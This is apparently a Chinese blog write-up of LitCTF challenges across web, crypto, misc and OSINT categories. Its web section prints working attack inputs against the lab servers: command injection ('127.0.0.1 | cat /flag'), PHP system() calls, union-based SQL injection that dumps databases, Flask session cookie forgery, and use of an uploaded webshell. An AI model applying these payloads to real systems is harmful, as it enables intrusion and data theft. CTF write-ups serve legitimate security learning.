您现在的位置是:首页 >技术教程 >LitCTF Web、社工AK 以及部分misc和crypto网站首页技术教程

LitCTF Web、社工AK 以及部分misc和crypto

Hama_ecco 2024-06-17 10:19:28
简介LitCTF Web、社工AK 以及部分misc和crypto

WEB

我Flag呢?

  1. CTRL+U 查看源代码,拉到最底下
<!--flag is here flag=NSSCTF{22b32488-ef71-4b0b-8972-fa0b5bd60e77} -->

导弹迷踪

  1. 进去发现是游戏且有一堆JS代码,先死一次发现提示 CRASHED , CTRL+F 搜索 CRASHED ,发现以下JS代码
var Messages = {
        START: {
            title: getLevelString,
            text:  function () {return 'CLICK TO BEGIN';}
        },
        CRASH: {
            title: function () {return 'CRASHED';},
            text:  function () {return 'CLICK TO RETRY';}
        },
        GAME_OVER: {
            title: function () {return 'GAME OVER';},
            text:  function () {return 'CLICK TO START AGAIN';}
        },
        FINISH: {
            title: function () {return 'LEVEL COMPLETED';},
            text:  function () {if (mLevel === 6) {return 'GOT F|L|A|G {y0u_w1n_th1s_!!!}';} else {return 'CLICK TO CONTINUE';}},
        }
    };

得到

NSSCTF{y0u_w1n_th1s_!!!}

Follow me and hack me

  1. 根据页面题目要求直接用 hackbar 传参
  • GET

    /?CTF=Lit2023
    
  • POST

    Challenge=i'm_c0m1ng
    

得到

NSSCTF{d2d51e7d-4946-4e02-8a6c-d0dffe52e3ac}

PHP是世界上最好的语言!!

  1. 首先题目介绍说 用PHP写了一个小工具(Flag位于根目录) ,且进入页面后右边的输入框下面是 RUN CODE ,那么我们写一个PHP语句
echo 1;

发现左面输出了 1

  1. 直接用PHP的 system() 函数调用 shell 读取flag
system('cat /flag');

得到

flag=NSSCTF{235bf40e-d3f1-4109-8393-3b926bd88394}

Vim yyds

  1. F12 开发者工具看了个遍也没发现可以利用的东西,扫后台吧
python3 dirsearch.py -u http://node5.anna.nssctf.cn:28172/

发现只有 /.index.php.swp 可以访问

  1. 下载后查看代码,发现 <html><head> 在后,闭合标签在前,推测代码逐行取反了

    以下代码省略了一部分,保留思路部分

前面省略部分                                                                  1 </body>     </main>         </div>             ?>             }                 eval(system($_POST['cmd']));                 echo "<p>Oh You got my password!</p>";             if ($_POST['password'] === base64_encode($password)) {             echo "<p>can can need Vim </p>";             $password = "Give_Me_Your_Flag";             error_reporting(0);             <?php         <div class="can_can_vim">         </h3>             闃熼噷甯堝倕璇碫im鏄笘鐣屼笂鏈€濂界殑缂栬緫鍣紝涓嶆帴鍙楀弽椹?         <h3 class="vim_said">         </div>             </h1>                 Vim yyds             <h1 class="vim_yyds">             <img src="https://www.bing.com/th?id=OSAAS.7B95FA2D97CE022F5E7949F60E350A25&pid=TechQna"></img>         <div class="vim">     <main> <body>  </head>     </style>         }             font-size: 20;         p {         br,          }             align-items: center;             justify-content: center;             display: flex;             color: #39c2ff;         h3.vim_said {          }             margin-left: 5px;             margin-top: 50;             justify-content: center;             align-items: flex-start;             display: flex;             color: #50f728;         h1.vim_yyds {          }             height: auto;             width: 8rem;             border: none;         img {          }             justify-content: center;             vertical-align: middle;             align-content: center;             display: flex;         div.vim {          }             justify-content: center;             align-items: center;             display: flex;         html {         body,     <style type="text/css">     <meta charset="UTF-8"> <head>  <html> 
  1. 根据取反的代码传参
$password = "Give_Me_Your_Flag";
if ($_POST['password'] === base64_encode($password)) {
	eval(system($_POST['cmd']));                 
	echo "<p>Oh You got my password!</p>";
}
  • POST

    password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag
    

    R2l2ZV9NZV9Zb3VyX0ZsYWc base64解码后是 Give_Me_Your_Flag

得到

NSSCTF{f6f22c85-31ee-477e-bf04-f5107e450158}

作业管理系统

  1. 进去随便点几个页面看看分别是啥功能,找到创建文件,创建一个 1.php ,选择编辑文件,内容写一个一句话木马(为了这个md不报毒代码就不展示了)

  2. AntSword 连接 (密码随意,就不展示了)

  • URL

    http://node5.anna.nssctf.cn:28898/1.php
    

访问 /flag 得到

flag=NSSCTF{46f6a860-5c45-427d-9023-9a4bd360f2b0}

这是什么?SQL !注一下 !

  1. 先传入 12 ,发现有回显,传入 3 时没有回显,并且联合注入的几个关键字没有被过滤,直接判断回显点
3))))))union select 1,2#

发现有页面正常显示

3))))))union select 1,database()#

得到当前库为 ctf ,并且能判断就是一个无过滤(最起码联合注入没过滤)的注入

  1. 表名
1))))))union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctf'#
  1. 列名
1))))))union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

得到一堆

id,username,password,ip,time,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password

并且将所有的内容爆出没有想要的(彩蛋除外)

推断是跨库注入

  1. 数据库名
3))))))union select 1,group_concat(schema_name) from information_schema.schemata#

得到

Array ( [0] => Array ( [username] => 1 [password] => information_schema,mysql,ctftraining,performance_schema,test,ctf ) ) 
  1. 最后
3))))))union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctftraining'#

3))))))union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'#

3))))))union select 1,group_concat(flag) from ctftraining.flag#

得到

Array ( [0] => Array ( [username] => 1 [password] => NSSCTF{9a120976-4dc5-4aeb-b9a5-42c189d078e3} ) ) 

Http pro max plus

  1. 以下均为请求头 只允许本地访问 (xff不彳亍)
client-ip: 127.0.0.1
  1. You are not from pornhub.com ! ?? 6
referer: pornhub.com
  1. 用Chrome浏览器啊!
User-Agent: Chrome
  1. 不开代理你想上p站? 代理服务器地址是Clash.win
via: Clash.win
  1. 访问 /wtfwtfwtfwtf.php ,发现没啥能利用的, CTRL+U 查看源代码,发现 /sejishikong.php 访问得到
冲完啦?拿上你的flag赶紧走NSSCTF{651804b1-116f-4a03-9fa0-c83251ed5c94}

Ping

  1. 老朋友先来 127.0.0.1 | ls,发现被过滤了,尝试其他方法没用

  2. CTRL+SHIFT+C 追踪到

<form action="" method="POST" onsubmit="return check_ip()">
……

并将其修改为

<form action="" method="POST">
……

传入 127.0.0.1 | cat /flag 得到

flag=NSSCTF{b037232c-99f1-4595-8340-cdfc95f5405c}

1zjs

  1. 前面的无用功就不说了(无用功 = 2h),F12网络发现 index.umd.js ,打开后搜 php ,发现有个 /f@k3f1ag.php

  2. 访问然后将里面的东西扔到控制台求值

"NSSCTF{c961bb33-2941-445e-8e6a-44a7f684b0aa}" 

就当无事发生

  1. https://ProbiusOfficial.github.io 会跳转, github 里搜 ProbiusOfficial 发现有一个 ProbiusOfficial/ProbiusOfficial.github.io

  2. 点进去找第一个(4.29)commit

第331行

<p>Flag LitCTF{g1thub_c0mmit_1s_s0_us3ful}</p>
<p>就当无事发生!!!!</p>

Flag点击就送!

  1. 随便搞个名字,然后点 “拿flag” 提示 只有管理员才能拿flag耶

  2. 发现cookie有 session=eyJuYW1lIjoiMSJ9.ZF_Rzw.66Bhq8DeAT3ZNL__sXET82Z7Ito 推测session伪造,盲猜(bushi secret-key 为 “LitCTF” ,用 “Flask Session Cookie Decoder/Encoder” 工具构造

# python3 flask_session_cookie_manager3.py encode -s 'LitCTF' -t '{"name":"admin"}'
eyJuYW1lIjoiYWRtaW4ifQ.ZF_Svw.OqRWPIO6banla_-GSc93QhDQLFo
  1. burp 放包
……
Cookie: session=eyJuYW1lIjoiYWRtaW4ifQ.ZF_Svw.OqRWPIO6banla_-GSc93QhDQLFo
……

得到

NSSCTF{d047ebcb-d92e-4f9e-95c0-be24471ea267}

彩蛋

  • 第一部分在 “我Flag呢?” 这一题
  1. F12 控制台发现有 try to run giveMeEgg() to get the egg!good luck~ ,运行 giveMeEgg() 后得到
LitCTF{First_t0_The_k3y! (1/?)
  • 第二部分在 "作业管理系统 " 这一题
  1. 在 “上传文件这一页面下” 有一个URL 为 https://github.com/ProbiusOfficial/My_pic/blob/main/demo.jpg ,访问后得到

    wow 你找到了第二个彩蛋哦~
    _S0_ne3t? (2/?)
    
  • 第三部分在 “Follow me and hack me” 这一题
  1. 正常传参解出此题后提示 他说备份文件还有好吃的 ,根据提示访问 /www.zip 下载备份文件,下载完成后打开 index.php.bak 发现注释行,得到

    // 第三个彩蛋!(看过头号玩家么?)
    // _R3ady_Pl4yer_000ne_ (3/?)
    
  • 第四部分在 "这是什么?SQL !注一下 " 这一题
  1. 直接传 2

    Array ( [0] => Array ( [username] => fake_flag [password] => F1rst_to_Th3_eggggggggg!} (4/4) ) ) 
    

综上得到

LitCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_Pl4yer_000ne_F1rst_to_Th3_eggggggggg!}

CRYPTO

你是我的关键词(Keyworld) (初级)

  1. “keyworld” -> “keyword” ,百度keyword在线解密

  2. 题目描述: YOU are my keworld

  • 待解码内容

    IFRURC{X0S_YP3_JX_HBXV0PA}
    
  • keyword

    YOU
    

得到

LITCTF{Y0U_AR3_MY_KEYW0RD}
NSSCTF{Y0U_AR3_MY_KEYW0RD}

(校外)Is this only base?

  1. 根据题目中的 “base” ,且等号不在末尾推测,栅栏密码, txt 文件中提到了 23 这个数字
  • 待解密内容

    SWZxWl=F=DQef0hlEiSUIVh9ESCcMFS9NF2NXFzM
    
  • 栏数

    23
    

得到

SWZxWlFDe0liUV9ScF9FNFMzX2NSMCEhISEhfQ==
  1. base64解密
IfqZQC{IbQ_Rp_E4S3_cR0!!!!!}
  1. 凯撒密码
  • 待解密内容

    IfqZQC{IbQ_Rp_E4S3_cR0!!!!!}
    
  • 偏移量

    23
    

得到

LitCTF{LeT_Us_H4V3_fU0!!!!!}
NSSCTF{LeT_Us_H4V3_fU0!!!!!}

Small

  1. CTF题目, (前缀最大值-前缀最小值)*2
#include<bits/stdc++.h>
#define IOS std::ios::sync_with_stdio(false);cin.tie(NULL);cout.tie(NULL);
#define ll long long
#define int long long
#define endl "
"
//#pragma GCC optimize(2)

using namespace std;

const int mn = 1e5+10;
const int mod = 1e9+7;
const int N = 2e5+10;
int dr[4][2]={{-1,0},{1,0},{0,-1},{0,1}};

inline ll gcd(ll x,ll y){
	if(x<y) swap(x,y);
	return y?gcd(y,x%y):x;
}

//int d[1000007];
//
//int lowbit(int x){
//	return x&(-x);
//}
//
//int query(int x){
//	int res=0;
//	while(x){
//		res+=d[x];
//		x-=lowbit(x);
//	}
//	return res;
//} 
//
//void update(int x,int v){
//	while(x<=n){
//		d[x]+=v;
//		x+=lowbit(x);
//	}
//}

void solve(){
	int n;
	cin >>n;
	int l,r;
	for(int i=1;i<=n;i++){
		int num;
		cin >>num;
		if(i==1){
			l=num;
			r=num;
		}
		l=min(l,num);
		r=max(r,num);
		cout <<(r-l)*2<<endl;
	} 
}

signed main(){
	
	IOS;
	
	int T=1;
//	cin >>T;
	while(T--){
		solve();
	}
	return 0;
}

MISC

OSINT 探姬去哪了?_0

  1. 中国电信郑州分公司不是,百度了理念,相关的什么江苏公司都试过了,最后突发奇想会不会是总部
NSSCTF{中国电信大厦}

OSINT 探姬去哪了?_1

  1. 玻璃上的 SANGEL酒店 两个关键词,直接百度发现是 松果酒店

  2. 郑州陇海东路地铁站店郑州农业路店 试一下就行了

NSSCTF{松果酒店(郑州农业路店)}

OSINT 探姬去哪了?_2

  1. 提取关键字搜索 hackingclub郑州 发现第一条凤凰网报道中提到了 漫香音乐酒吧

  2. 高德地图搜在郑州的 漫香音乐酒吧 发现只有一家

NSSCTF{漫香音乐酒吧(农科路店)}

OSINT 探姬去哪了?_3

  1. 门上贴着 郑州轻工业大学 的二维码 + 格式里面的 第114教学楼 ,高德地图搜 郑州轻工业大学第一教学楼 发现只有科学校区有第X教学楼这一说

  2. “217” 应该是 2 楼,第几教学楼全靠猜

NSSCTF{科学校区-第1教学楼-2层-217}

OSINT 这是什么地方?!

  1. 百度识图直接上传发现一堆视频 (营销号吧t**d,没一个说地名的)

  2. 然后打开视频在第 6 秒的时候右上角隐约看见一个楼, 陕西?色?????集团 共 11 个字

  3. 百度 陕西有色 然后找,最后符合条件的只有一个

NSSCTF{陕西有色榆林新材料集团}

Osint小麦果汁

  1. 上面有个 hacker&craft 百度一下发现是杭州的一家名叫 黑客与酿造 的酒吧
NSSCTF{黑客与精酿}

【Minecraft】玩的开心~~~

  1. 开服第一天凌晨,进去一次下矿挖了五六个钻石,换了 flag 合了把钻稿就下线了,过了一天上线发现有个末地传送门,啥也没想跳进去了,发现龙还没死??然后我就在末地的最中间的柱子下5格放了个箱子,全身家当扔进去然后自杀(龙没死回不去)去主世界,杀蜘蛛(为什么看不见羊)好不容易攒了七八张床进末地,发现龙不下来!不下来!!又自杀然后找弓箭,没收集够就下线了。又过了一天上线捎带杀了个铁傀儡(居然有提示XXX获得了flag)然后下线。

开赛了之后交了 flag 就没上线,鸽们我写 wp 写到这题了,进游戏发现龙死了,诶挺开心,进去找末地的箱子……

我就想问一句谁丫的把我全身家当全拿走还不忘了给我把方块全填上伪造成没人来的样子?!

NSSCTF{Gaming_in_CTF_is_qu1te_f4n!}

(校外)雪山的秘密

  1. 根据音频得到一堆字符
'00011',' 010101',' 00111',' 100001',' 010101',' 010101',' 00011',' 100001',' 010101',' 00111',' 00011',' 100001',' 010101',' 00011',' 00111',' 100001',' 00011',' 00111',' 010101',' 100001',' 00011',' 010101',' 010101',' 100001',' 10010',' 010101',' 010101',' 00111',' 100001',' 00111',' 00111',' 00011',' 100001',' 010101',' 00011',' 00111',' 100001',' 00011',' 00111',' 00111',' 100001',' 010101',' 010101',' 00011',' 100001',' 010101',' 010101',' 00111',' 100001',' 10010',' 00111',' 010101',' 00111',' 100001',' 00011',' 010101',' 010101',' 100001',' 00111',' 00011',' 00111',' 100001',' 00111',' 00111',' 00011',' 100001',' 010101',' 010101',' 00111',' 100001',' 010101',' 00011',' 00111',' 100001',' 10010',' 00011',' 010101',' 00111',' 100001',' 010101',' 010101',' 00011',' 100001',' 010101',' 00111',' 00011',' 100001',' 00011',' 010101',' 00011',' 100001',' 010101',' 010101',' 00011',' 100001',' 10010',' 010101',' 00011',' 00111',' 100001',' 00011',' 00111',' 010101',' 100001',' 00011',' 00111',' 00111',' 100001',' 010101',' 00011',' 010101',' 100001',' 10010',' 010101',' 00011',' 010101',' 100001',' 00011',' 00011',' 010101',' 100001',' 00111',' 00111',' 010101',' 100001',' 00111',' 00011',' 010101',' 100001',' 010101',' 010101',' 00011',' 100001',' 010101',' 00111',' 00011',' 100001',' 010101',' 010101',' 00111',' 100001',' 00011',' 010101',' 010101',' 100001',' 10010',' 010101',' 00111',' 010101',' 100001',' 010101',' 010101',' 00011',' 100001',' 00111',' 010101',' 00111',' 100001',' 00011',' 010101',' 010101',' 100001',' 010101',' 00111',' 00011',' 100001',' 10010',' 00111',' 00011',' 010101',' 100001',' 010101',' 00011',' 00011',' 100001',' 010101',' 00011',' 00111',' 100001',' 00111',' 010101',' 00111',' 100001',' 00011',' 010101',' 010101',' 100001',' 10010',' 00011',' 010101',' 00111',' 100001',' 00111',' 00111',' 00011',' 100001',' 00011',' 00111',' 00111',' 100001',' 00011',' 00011',' 00111',' 100001',' 00011',' 010101',' 010101',' 100001',' 00111',' 00011',' 00011'
  1. 莫斯密码解码
3.2-..3-.23-.32-32.-3..-/..2-223-.32-322-..3-..2-/2.2-3..-232-223-..2-.32-/3.2-..3-.23-3.3-..3-/.32-32.-322-.3.-/.3.-33.-22.-23.-..3-.23-..2-3..-/.2.-..3-2.2-3..-.23-/23.-.33-.32-2.2-3..-/3.2-223-322-332-3..-233
  1. 百度发现是元神的一个彩蛋,根据百度出来的彩蛋得到
NSSCTF{FOR_THE_NATION_WE_CANT_FORGO_THIS_SKYBORNE_POWER_BUT_WE_FAILED}

(校外)ssvvgg

  1. 将svg转为 base64 然后解码,将里面的jpeg提取后转成图片 try8.jpeg

  2. stegseek 爆破,密码为 666666

stegseek try8.jpeg passdict6.txt
  1. steghide提取隐藏文件
steghide extract -sf try8.jpeg
  • flag.txt
LitCTF{svg?_base642png!&steghide!}
NSSCTF{svg?_base642png!&steghide!}

(校外)easy_shark

  1. zip一个伪加密

  2. wireshark 打开,发现某 POST 记录很可疑

  • POST /upload_file.php HTTP/1.1
  • POST /mm.php HTTP/1.1 (application/x-www-form-urlencoded)

分别发现他们是一句话木马和响应的传参,密码为 a

  1. 找最后一次的 POST 记录发现
(x^2-x**2)+(x-17)(x-77)=0
#gezx{j13p5oznp_1t_z_900y_k3z771h_k001}
  1. 将方程扔给ChatGPT
这是一个二次方程的表达式。让我们展开并简化它:

(x^2 - x^2) + (x - 17)(x - 77) = 0

由于 x^2 - x^2 的项相互抵消,我们可以简化为:

(x - 17)(x - 77) = 0

现在我们需要找到使方程等于零的解。根据零乘积法则,当两个因子的乘积等于零时,至少有一个因子等于零。

因此,我们可以得到以下两个可能的解:

x - 17 = 0 => x = 17
x - 77 = 0 => x = 77
所以,方程的解为 x = 17 或 x = 77。
  1. 仿射密码解密得到
flag{w13e5hake_1s_a_900d_t3a771c_t001}
NSSCTF{w13e5hake_1s_a_900d_t3a771c_t001_a}
风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。